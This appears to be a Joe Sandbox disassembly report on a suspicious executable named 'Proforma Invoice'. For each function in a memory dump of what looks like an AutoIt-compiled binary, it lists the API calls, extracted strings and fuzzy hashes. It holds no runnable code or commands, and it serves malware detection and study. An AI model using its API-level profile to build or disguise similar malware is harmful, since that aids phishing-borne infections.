Opcode Fuzzy Hash: 24486786ea397d5683d41de759da95b7c5c8f9017366636f95db7bdf444da94f
Instruction Fuzzy Hash: 06F03C75A1120CBFDB10DFE49D89AADB7B8EF08201F1044A9E501E2181D6755A048B54

Function 00708889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0070889B

Part of subcall function 006C520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00708F6E,00000000,?,?,?,?,0070911F,00000000,?), ref: 006C5213
Part of subcall function 006C520A: __aulldiv.LIBCMT ref: 006C5233

Strings

0ev, xrefs: 00708892

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0ev
API String ID: 2893107130-2059827049
Opcode ID: fd4fa2ec538d7df9286be1ee366cf15c2971ad5011e12270cfc25dc0b4fdac33
Instruction ID: 7224dc1bb2aca999f74b040d3b063632a6ee621d7b02cc99e903b38611a6db6e
Opcode Fuzzy Hash: fd4fa2ec538d7df9286be1ee366cf15c2971ad5011e12270cfc25dc0b4fdac33
Instruction Fuzzy Hash: 7221B172635610CBC729CF29D841A52B3E1EFA5311B688F6DD0F6CB2C0CA78B905CB94

Function 00704C7F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 00704CB3

Strings

DOWN, xrefs: 00704C98

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: mouse_event
String ID: DOWN
API String ID: 2434400541-711622031
Opcode ID: 5f7bfae4cdbe597ac14c7a6cbdd1293a3dbf1d40edb32cb3c02971bd27d5738a
Instruction ID: 7c3de2e1b41fc88c16262a8e8fb00864befe2054d56752ff6a0dbc42638d2807
Opcode Fuzzy Hash: 5f7bfae4cdbe597ac14c7a6cbdd1293a3dbf1d40edb32cb3c02971bd27d5738a
Instruction Fuzzy Hash: 4EE08CB619D7227CF9442A19BC07EF7038C8B1633AB10025AFD10E50C1ED8C2C8624FD

Function 0070C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0070C6FB
FindClose.KERNEL32(00000000), ref: 0070C72B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: e881789b072c62becb789e2881e312222a17931223b158ee9cead0ae1e6b4722
Instruction ID: 5005c85254616fb6db3265a77a084bd6651da0ab229dcf9026aee1b5ab3e297c
Opcode Fuzzy Hash: e881789b072c62becb789e2881e312222a17931223b158ee9cead0ae1e6b4722
Instruction Fuzzy Hash: 8811A1726002049FDB10EF29C845A2AF7E9FF85320F108A1DF9A9D7291DB38AC01CF95

Function 0070A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00719468,?,0072FB84,?), ref: 0070A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00719468,?,0072FB84,?), ref: 0070A0A9

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: e8b38e418587d030f7904073afe83cb2af4343673ebe30ba6f6e5309d2296558
Instruction ID: 4fdbeab10f68b44f7fe8dc6d0dd44d7c6d4a007a43bf430279fe8e76e80cd21d
Opcode Fuzzy Hash: e8b38e418587d030f7904073afe83cb2af4343673ebe30ba6f6e5309d2296558
Instruction Fuzzy Hash: 40F0E23510522DFBDB20AFA4CC48FEA73ADBF09361F00826AF808D6181D6349900CBB5

Function 006F81CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,006F8309), ref: 006F81E0
CloseHandle.KERNEL32(?,?,006F8309), ref: 006F81F2

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 192918e3590d69a80be220be55d107c6f8be72b1ad107bc87edeaf7e6bf8cba7
Instruction ID: 16c46fb1a9c83e4e6c50d849e3d278614d5b6a52616da3e520d588839a44ccbd
Opcode Fuzzy Hash: 192918e3590d69a80be220be55d107c6f8be72b1ad107bc87edeaf7e6bf8cba7
Instruction Fuzzy Hash: 2EE0B672010611EEE7656B60EC09E777BAAEB08310B14896DF9A6C4471DB62AC91DB14

Function 006CA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,006C8D57,?,?,?,00000001), ref: 006CA15A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 006CA163

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a86d0e0d16db831800a0153baa75fe32001ce225035b1ee5f74f30d3758fda72
Instruction ID: 7325c4ebd2e840fa5ed99f7d37948012740163134ce0a257ecbc63be9267ef14
Opcode Fuzzy Hash: a86d0e0d16db831800a0153baa75fe32001ce225035b1ee5f74f30d3758fda72
Instruction Fuzzy Hash: 72B09231054208EBCA106B91EC09B883F78EB44AA2F408030F60D84062CB6656528A99

Function 006CF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9040b3f6137779ebfd699fffccfa800268ce40cb1da8c9a38d3165dee545a4e5
Instruction ID: 3cc88b70fc918d9e33fc1e31a599fee5c8b1d9a6d6aa6c8affa6cca500eb854e
Opcode Fuzzy Hash: 9040b3f6137779ebfd699fffccfa800268ce40cb1da8c9a38d3165dee545a4e5
Instruction Fuzzy Hash: 533246A1D29F454DEB279634C832336A25AEFB73C5F14D73BF819B5AA5EB28C4834104

Function 006D242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7722d96e098550a6d7eca8ea74b6750987e8fd2106315307150bdcd92332d96a
Instruction ID: 3da25e25355a0094303d397f963cf4e59c03f53a1237d38135c2504364e6483d
Opcode Fuzzy Hash: 7722d96e098550a6d7eca8ea74b6750987e8fd2106315307150bdcd92332d96a
Instruction Fuzzy Hash: 22B11221D2AF414DE32396398832336B75CAFBB2C6F51D71BFC6674E22EB2685834145

Function 006F87B1 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,006F8389), ref: 006F87D1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 07f4ff8b8e00f428f190a6cbd8e42cbeb42264cca3d3b7b161f0a04dc442fe64
Instruction ID: 28c3acb82be929ee527d7d5d2d2bb86c87d2b47a91833e1e73381c9a22238616
Opcode Fuzzy Hash: 07f4ff8b8e00f428f190a6cbd8e42cbeb42264cca3d3b7b161f0a04dc442fe64
Instruction Fuzzy Hash: 56D05E3226050EABEF118EA4DD01EAE3B69EB04B01F408121FE15D50A1C775D835AB60

Function 006CA124 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 006CA12A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c2fdbe12997935ff33c54e375dd8b48b839b1a55c461677815edcaff87f0644e
Instruction ID: 8988669d1c7a43d36131d49ef5b22471cb4c12cd412c30df058640f8cceca0da
Opcode Fuzzy Hash: c2fdbe12997935ff33c54e375dd8b48b839b1a55c461677815edcaff87f0644e
Instruction Fuzzy Hash: 52A0113000020CEB8A002B82EC08888BFACEA002A0B008030F80C80022CB32AA228A88

Function 006B8808 Relevance: .6, Instructions: 590COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37cdbf56ebb5aa71fd0f89da039c85e9992d2177d929db4992a73786cd6ede30
Instruction ID: 586f4001368259dcb784c053ba749e25762773b7718005fe82935dbd27da384e
Opcode Fuzzy Hash: 37cdbf56ebb5aa71fd0f89da039c85e9992d2177d929db4992a73786cd6ede30
Instruction Fuzzy Hash: 08223671A0460ACFDF388A28C4946FC77A7FF41344F28816ADA468B692DB74ADC2C741

Function 006C21C5 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 43a9616708f7648d36d4cc9833fbc4bf12621a77d8fb3499a520eb33bc1e728a
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 04C1B7322050930AEB1D4639C434A7EBBA2DEA37B131A175ED8B3CF2C5EE14D975D650

Function 006C25FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: 03a685bc6fe56e7e02f127980197fdb84a93b2d0f8b94f04125bb40e3e819610
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: ABC1FA321051930ADF2D463AC474A7EBAA2DE937B131A135ED8B3CF2C5EE20D975D660

Function 006C1978 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 8d9020d75f9f2bc1b892df0eb7a4af365b5acb5d5f5c8b1c04d87a5ee7f7f76b
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: A9C188322051930AEF1D4639C434ABEBAA2DEA37B131A175ED4B3CF2C6EE10D975D650

Function 00717806 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 0071785B
DeleteObject.GDI32(00000000), ref: 0071786D
DestroyWindow.USER32 ref: 0071787B
GetDesktopWindow.USER32 ref: 00717895
GetWindowRect.USER32(00000000), ref: 0071789C
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 007179DD
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 007179ED
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717A35
GetClientRect.USER32(00000000,?), ref: 00717A41
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00717A7B
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717A9D
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717AB0
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717ABB
GlobalLock.KERNEL32(00000000), ref: 00717AC4
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717AD3
GlobalUnlock.KERNEL32(00000000), ref: 00717ADC
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717AE3
GlobalFree.KERNEL32(00000000), ref: 00717AEE
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717B00
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00732CAC,00000000), ref: 00717B16
GlobalFree.KERNEL32(00000000), ref: 00717B26
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00717B4C
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00717B6B
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717B8D
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00717D7A

Strings

, xrefs: 00717D00
static, xrefs: 00717A75, 00717BCC
DISPLAY, xrefs: 00717BDD
AutoIt v3, xrefs: 00717A2D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 487620114aef5456389ec9132da64ced299cd7aafec309d0f3d7900fdb8aa726
Instruction ID: b197d1d395c897618270c10e688a6faea9fbefaddf0c84878e3f01bae044eb03
Opcode Fuzzy Hash: 487620114aef5456389ec9132da64ced299cd7aafec309d0f3d7900fdb8aa726
Instruction Fuzzy Hash: 2B026E71900215EFDB14DFA8DD89EAE7BB9FF49310F108168F905AB2A1C778AD41CB64

Function 0072356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,0072F910), ref: 00723627
IsWindowVisible.USER32(?), ref: 0072364B

Strings

ISENABLED, xrefs: 0072366B
SETCURRENTSELECTION, xrefs: 007237B6
FINDSTRING, xrefs: 00723776
CHECK, xrefs: 0072386D
SENDCOMMANDID, xrefs: 007239DA
SELECTSTRING, xrefs: 00723806
HIDEDROPDOWN, xrefs: 00723700
GETCURRENTLINE, xrefs: 007238ED
ADDSTRING, xrefs: 00723716
ISCHECKED, xrefs: 00723839
SHOWDROPDOWN, xrefs: 007236E0
CURRENTTAB, xrefs: 007236BD
ISVISIBLE, xrefs: 00723637
DELSTRING, xrefs: 00723749
GETLINE, xrefs: 0072399B
GETCURRENTCOL, xrefs: 00723928
TABLEFT, xrefs: 00723687
EDITPASTE, xrefs: 0072395F
GETLINECOUNT, xrefs: 007238C6
GETCURRENTSELECTION, xrefs: 007237E3
UNCHECK, xrefs: 00723883
GETSELECTED, xrefs: 007238A3
TABRIGHT, xrefs: 0072369D

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 914fbf2c9a6bc8f679fb76d3e3d93b3a438d66eac5cc122db374c724ad0891f9
Instruction ID: c5cfac6550969275876c884c12d50957252e3dd58cf1e99a63bd82e4e33dcb93
Opcode Fuzzy Hash: 914fbf2c9a6bc8f679fb76d3e3d93b3a438d66eac5cc122db374c724ad0891f9
Instruction Fuzzy Hash: C5D18D30208311DBCB44EF10D451AAEB7A6EF95344F14486CF9865B3A2DB3DEE4ACB95

Function 0072A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0072A630
GetSysColorBrush.USER32(0000000F), ref: 0072A661
GetSysColor.USER32(0000000F), ref: 0072A66D
SetBkColor.GDI32(?,000000FF), ref: 0072A687
SelectObject.GDI32(?,00000000), ref: 0072A696
InflateRect.USER32(?,000000FF,000000FF), ref: 0072A6C1
GetSysColor.USER32(00000010), ref: 0072A6C9
CreateSolidBrush.GDI32(00000000), ref: 0072A6D0
FrameRect.USER32(?,?,00000000), ref: 0072A6DF
DeleteObject.GDI32(00000000), ref: 0072A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 0072A731
FillRect.USER32(?,?,00000000), ref: 0072A763
GetWindowLongW.USER32(?,000000F0), ref: 0072A78E

Part of subcall function 0072A8CA: GetSysColor.USER32(00000012), ref: 0072A903
Part of subcall function 0072A8CA: SetTextColor.GDI32(?,?), ref: 0072A907
Part of subcall function 0072A8CA: GetSysColorBrush.USER32(0000000F), ref: 0072A91D
Part of subcall function 0072A8CA: GetSysColor.USER32(0000000F), ref: 0072A928
Part of subcall function 0072A8CA: GetSysColor.USER32(00000011), ref: 0072A945
Part of subcall function 0072A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0072A953
Part of subcall function 0072A8CA: SelectObject.GDI32(?,00000000), ref: 0072A964
Part of subcall function 0072A8CA: SetBkColor.GDI32(?,00000000), ref: 0072A96D
Part of subcall function 0072A8CA: SelectObject.GDI32(?,?), ref: 0072A97A
Part of subcall function 0072A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 0072A999
Part of subcall function 0072A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0072A9B0
Part of subcall function 0072A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 0072A9C5
Part of subcall function 0072A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0072A9ED

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

